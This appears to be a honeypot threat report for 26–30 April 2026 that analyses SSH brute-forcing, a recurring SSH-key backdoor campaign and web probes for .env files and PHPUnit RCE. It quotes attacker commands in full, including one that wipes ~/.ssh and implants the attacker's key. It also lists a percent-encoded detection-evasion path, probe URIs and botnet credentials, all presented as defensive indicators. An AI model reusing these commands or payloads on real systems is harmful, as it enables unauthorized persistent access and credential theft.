HONEYPOT REPORT // SSH + WEB // 2026-04-26 – 2026-04-30
2026-04-26 – 2026-04-30 — SSH + Web Honeypot Report
Executive summary
The April 26–30 period recorded 117,570 SSH events across 31,178 sessions — lower total session count than the preceding P5 window but with a sharply elevated success rate (33.9% vs typical sub-20%) and a significant Apr 30 single-day spike: 32,946 events and 546 unique source IPs, the highest daily figures of the month. The dominant SSH threat pattern is a coordinated two-step post-auth playbook — clearing .ssh directory attributes via chattr -ia then implanting the persistent mdrfckr RSA key — executed across 1,321 sessions. Secondary post-auth activity includes CPU/memory enumeration consistent with cryptominer pre-deployment, competing malware removal, and Cisco IOS command sequences targeting SSH-enabled network devices.
On the web sensor, two parallel campaigns dominated. The Redtail botnet continued its PHPUnit CVE-2017-9841 sweep via the libredtail-http UA — 796 requests across 18+ distinct IPs each sending a uniform 44-request block, confirming botnet coordination. A separate .env credential harvesting operation driven by 213.209.159.175 and 192.253.248.169 accounted for nearly 20% of all web traffic, with both IPs rotating spoofed User-Agent strings per request and using HEAD-before-GET to confirm file existence before downloading. A notable evasion technique emerged from 195.178.110.133: percent-encoding of the /admin/.env path as /%61%64%6D%69%6E/.%65%6Ev to bypass plaintext-string detection.
libredtail-http links the web PHPUnit campaign directly to the SSH key-implant operation — same Redtail infrastructure, concurrent multi-vector activity. Web RCE → SSH persistence → miner deployment is the inferred kill chain.
Daily SSH event trend
Apr 26 data is partial — consistent with log rotation at period open. The Apr 30 spike represents a ~73% single-day increase over Apr 29, with 546 unique source IPs — the highest daily unique-IP count of the month. Login successes also peaked at 1,049 that day.
SSH — notable sessions
step 2: cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
effect: removes immutable flags, wipes .ssh dir, injects attacker RSA key, locks permissions — persistent keyless backdoor access
cmd: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
cmd: uname -m
cmd: w | crontab -l | ls -lh $(which ls) | which ls
context: standard Redtail pre-deployment host profiling — evaluates compute resources before miner drop
context: territorial botnet behavior — removes competing malware from /tmp, clears access deny list to ensure own access is not blocked
context: automated botnet module probing SSH-enabled routers and switches — consistent with botnet infrastructure expansion beyond Linux hosts
SSH — top attempted credentials
| username | password | attempts | notes |
|---|---|---|---|
| root | (various) | 4,474 | dominant target account |
| admin | (various) | 1,519 | |
| 345gs5662d34 | 345gs5662d34 | 1,280 | Mirai IoT botnet credential pair |
| 345gs5662d34 | 3245gs5662d34 | 1,280 | Mirai variant — same campaign |
| support | (various) | 1,001 | |
| ubuntu | (various) | 943 | cloud image default targeting |
| (any) | admin | 718 | |
| (any) | password | 401 | |
| (any) | toor | 334 | root reversed — trivial change detection |
| (any) | 123456 | 258 |
SSH — top source IPs
| IP | events | notes |
|---|---|---|
| 87.251.64.176 | 3,787 | top single source — RU netblock |
| 2.228.129.230 | 2,616 | |
| 136.243.10.198 | 2,492 | Hetzner DE |
| 51.75.144.21 | 1,668 | OVH FR |
| 67.207.94.223 | 1,666 | |
| 85.14.245.122 | 1,460 | |
| 62.210.127.48 | 1,206 | Online SAS FR |
| 46.4.64.104 | 1,134 | Hetzner DE |
| 87.251.64.147 | 1,090 | same /24 as top source |
| 87.251.64.144 | 1,090 | same /24 as top source |
Three IPs in the 87.251.64.0/24 netblock account for 5,967 combined events. This coordinated cluster — likely shared botnet C2 or VPS abuse infrastructure — is consistent with the multi-IP subnet patterns observed in the 185.177.72.x cluster from P5.
SSH — client fingerprints
| client version | sessions | notes |
|---|---|---|
| SSH-2.0-libssh_0.12.0 | 6,650 | dominant automated scanner lib |
| SSH-2.0-libssh_0.11.1 | 3,226 | |
| SSH-2.0-Go | 1,983 | custom Go-based attack tooling |
| SSH-2.0-libssh-0.2 | 1,162 | |
| SSH-2.0-sshcustom_0.1 | 410 | non-standard — purpose-built binary, evasion identifier |
| SSH-2.0-libssh_0.9.6 | 110 | |
| SSH-2.0-OpenSSH_10.0 | 101 | |
| SSH-2.0-libssh2_1.11.1 | 57 |
web — notable sessions
uri: /admin/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
ua: libredtail-http
pattern: each participating IP sent exactly 44 requests — botnet-coordinated sweep, not single-source scanning
cve: CVE-2017-9841 — unauthenticated PHP RCE when vendor dir is web-accessible (PHPUnit < 4.8.28 / 5.6.3)
method: HEAD (confirm existence) → GET (download) per target
ua rotation: Android 2.3.3 LG-LU3000, IE11/MALNJS, Chrome/31 MetaSr, Chrome/59, Firefox/52, Samsung GT-P5110 — new UA per request pair
context: systematic evasion of UA-based detection; same IP active all five days
request 2: GET /%61%64%6D%69%6E/.%65%6Ev HTTP/1.1
decoded: /admin/.env — identical target, percent-encoded to bypass plaintext-match detection
ua: Mozilla/5.0 (compatible; SecurityScanner/1.0)
uri 2: GET /administrator/.env (host: router-admin.uk)
uri 3: GET /admin/phpinfo.php (host: router-admin.uk)
ua: Mozilla/5.0 (X11; Linux x86_64) Chrome/131
web — top source IPs
| IP | requests | % traffic | primary activity |
|---|---|---|---|
| 213.209.159.175 | 508 | 10.8% | .env harvesting — rotating UA, HEAD+GET pattern |
| 192.253.248.169 | 398 | 8.4% | .env + info.php harvesting — rotating UA |
| 195.178.110.133 | 197 | 4.2% | .env + URL-encoded evasion; SecurityScanner/1.0 |
| 157.245.58.198 | 170 | 3.6% | .env, /administrator/.env, phpinfo — DigitalOcean |
| 104.243.35.94 | 146 | 3.1% | root path scanning |
| 179.43.146.226 | 126 | 2.7% | root path scanning |
| 185.2.101.118 | 48 | 1.0% | libredtail-http PHPUnit RCE |
| 167.86.120.35 | 46 | 1.0% | libredtail-http PHPUnit RCE |
| 35.194.141.75 | 46 | 1.0% | libredtail-http PHPUnit RCE — GCP |
| 103.85.72.144 | 46 | 1.0% | libredtail-http PHPUnit RCE |
web — top user agents
| user agent | requests | classification |
|---|---|---|
| libredtail-http | 796 | Redtail botnet — malicious |
| (empty) | 546 | automated scanner — UA not set |
| Umai-Scanner/2.0 (+https://umai.entelijan.com/methodology) | 177 | security research scanner |
| Mozilla/5.0 ... Chrome/131 ... Linux x86_64 | 172 | 157.245.58.198 .env sweep |
| Mozilla/5.0 ... Chrome/144 | 127 | general scanner |
| Mozilla/5.0 zgrab/0.x | 120 | ZMap/ZGrab internet-wide scan |
| Mozilla/5.0 (compatible; CensysInspect/1.1 ...) | 114 | Censys internet scan infrastructure |
| Go-http-client/1.1 | 113 | custom Go tooling — automated |
web — additional probe categories
| target / pattern | hits | purpose |
|---|---|---|
/.git/config | 31 | git repository exposure — secret / credential harvesting |
/squid-internal-mgr/cachemgr.cgi | 27 | Squid proxy management interface exploitation |
/SDK/webLanguage | 23 | Hikvision camera RCE — CVE-2021-36260 |
PHP RFI via ?%ADd+allow_url_include%3d1... | 38 | PHP Remote File Inclusion via allow_url_include |
wp- paths | 29 | WordPress core / plugin enumeration |
/admin/config.php | 5 | admin config file exposure |
Raw log excerpts
mdrfckr SSH key implant — two-step session pattern (recurring across 1,321 sessions):
cowrie.command.input input="cd ~; chattr -ia .ssh; lockr -ia .ssh" cowrie.command.input input="cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAAB...mdrfckr\" >>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
195.178.110.133 — URL-encoded .env evasion (2026-04-30):
2026-04-30T03:28:28+00:00 195.178.110.133 "GET /admin/.env HTTP/1.1" 198.12.67.153 ua: Mozilla/5.0 (compatible; SecurityScanner/1.0) 2026-04-30T03:28:28+00:00 195.178.110.133 "GET /%61%64%6D%69%6E/.%65%6Ev HTTP/1.1" 198.12.67.153 ua: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Firefox/121.0 # decoded: /admin/.env — same target, percent-encoded path to bypass detection
213.209.159.175 — HEAD+GET .env pattern with UA rotation (2026-04-30):
2026-04-30T06:53:02+00:00 213.209.159.175 HEAD /admin/.env ua: Mozilla/5.0 (Linux; U; Android 2.3.3; ko-kr; LG-LU3000 ...) 2026-04-30T06:53:02+00:00 213.209.159.175 GET /admin/.env ua: Mozilla/5.0 (Linux; U; Android 2.3.3; ko-kr; LG-LU3000 ...) 2026-04-30T13:15:16+00:00 213.209.159.175 HEAD /admin/.env ua: Mozilla/5.0 (Windows NT 6.1; Win64; x64) Chrome/59.0.3071.104 2026-04-30T13:15:16+00:00 213.209.159.175 GET /admin/.env ua: Mozilla/5.0 (Windows NT 6.1; Win64; x64) Chrome/59.0.3071.104 2026-04-30T15:01:46+00:00 213.209.159.175 HEAD /admin/.env ua: Mozilla/5.0 (Windows NT 6.1; WOW64) ... SE 2.X MetaSr 1.0 2026-04-30T15:01:46+00:00 213.209.159.175 GET /admin/.env ua: Mozilla/5.0 (Windows NT 6.1; WOW64) ... SE 2.X MetaSr 1.0
Indicators of compromise
| type | value | context |
|---|---|---|
| IP | 87.251.64.176 | Top SSH source — 3,787 events — RU netblock /24 cluster |
| IP | 87.251.64.147 | Same /24 — 1,090 events — coordinated cluster |
| IP | 87.251.64.144 | Same /24 — 1,090 events — coordinated cluster |
| IP | 136.243.10.198 | Hetzner DE — 2,492 SSH events |
| IP | 213.209.159.175 | Top .env harvester — 508 web requests, rotating UA, HEAD+GET |
| IP | 192.253.248.169 | .env + info.php harvester — 398 web requests, rotating UA |
| IP | 195.178.110.133 | URL-encoded .env evasion — SecurityScanner/1.0 |
| IP | 157.245.58.198 | .env + phpinfo sweep — DigitalOcean NYC |
| SSH pub key | AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4...mdrfckr | Persistent backdoor key — 1,321 implants this period |
| credential | 345gs5662d34 / 345gs5662d34 | Mirai IoT botnet pair — 1,280 attempts |
| credential | 345gs5662d34 / 3245gs5662d34 | Mirai variant — 1,280 attempts |
| UA | libredtail-http | Redtail botnet — 796 web requests, 18+ IPs, cross-sensor |
| client ver | SSH-2.0-sshcustom_0.1 | Non-standard SSH client — purpose-built attack binary |
| CVE | CVE-2017-9841 | PHPUnit eval-stdin RCE — 796 probe attempts |
| CVE | CVE-2021-36260 | Hikvision camera RCE — /SDK/webLanguage — 23 attempts |
| path | /%61%64%6D%69%6E/.%65%6Ev | URL-encoded /admin/.env — WAF evasion — 195.178.110.133 |
Cross-period actor tracking
| actor / indicator | P1 Apr1–5 | P2 Apr6–10 | P3 Apr11–15 | P4 Apr16–20 | P5 Apr21–25 | P6 Apr26–30 | trend |
|---|---|---|---|---|---|---|---|
| mdrfckr injections | 2,431 | 3,159 | 3,418 | 3,956 | 3,252 | 1,321 | ↓ lower period volume |
| 87.251.64.0/24 cluster | — | — | — | — | — | 5,967 ↑ new | ↑ first appearance |
| libredtail-http phpunit | 47 | 58 | 16 | 17 | 17 | 796 | ↑ surge |
| 213.209.159.175 .env | ✓ | ✓ | ✓ | ✓ | ✓ | 508 ↑ peak | ↑ most active period |
| 185.177.72.x curl RCE | — | — | .11 | — | .52 + .30 | — | → absent P6 |
| 130.12.180.51 Redtail SCP | ~100 | 72 | 36 | 84 | 126 peak | — | → absent P6 |
| 345gs5662d34 Mirai pair | — | — | — | — | — | 1,280 ↑ new | ↑ first appearance |
| SSH events (total) | 16,491 | 23,470 | 20,823 | 59,761 | 26,726 | 117,570 ↑ | ↑ highest period |
MITRE ATT&CK mapping
| technique id | name | observed |
|---|---|---|
| T1110.003 | Brute Force: Password Spraying | 12,610 SSH auth attempts across 1,890 unique IPs |
| T1078 | Valid Accounts | 345gs5662d34 Mirai IoT pair; ubuntu/ubuntu, toor, cloud defaults |
| T1098.004 | Account Manipulation: SSH Authorized Keys | mdrfckr key implanted in 1,321 sessions |
| T1222 | File and Directory Permissions Modification | chattr -ia .ssh; chmod -R go= ~/.ssh |
| T1082 | System Information Discovery | cpuinfo, uname -m, free -m — miner pre-deployment recon |
| T1070.004 | Indicator Removal: File Deletion | rm -rf competing malware from /tmp; echo > /etc/hosts.deny |
| T1496 | Resource Hijacking | CPU/memory recon consistent with Redtail miner pre-deployment |
| T1190 | Exploit Public-Facing Application | CVE-2017-9841 PHPUnit RCE (796 hits); CVE-2021-36260 Hikvision (23 hits) |
| T1552.001 | Credentials In Files | .env harvesting — 1,059 requests across plaintext and encoded paths |
| T1595.002 | Active Scanning: Vulnerability Scanning | Systematic probing of CVEs, .git/config, Squid, WordPress |
| T1027 | Obfuscated Files or Information | Percent-encoding of /admin/.env; UA string rotation per request |
| T1036 | Masquerading | 213.209.159.175 / 192.253.248.169 rotating spoofed browser UAs |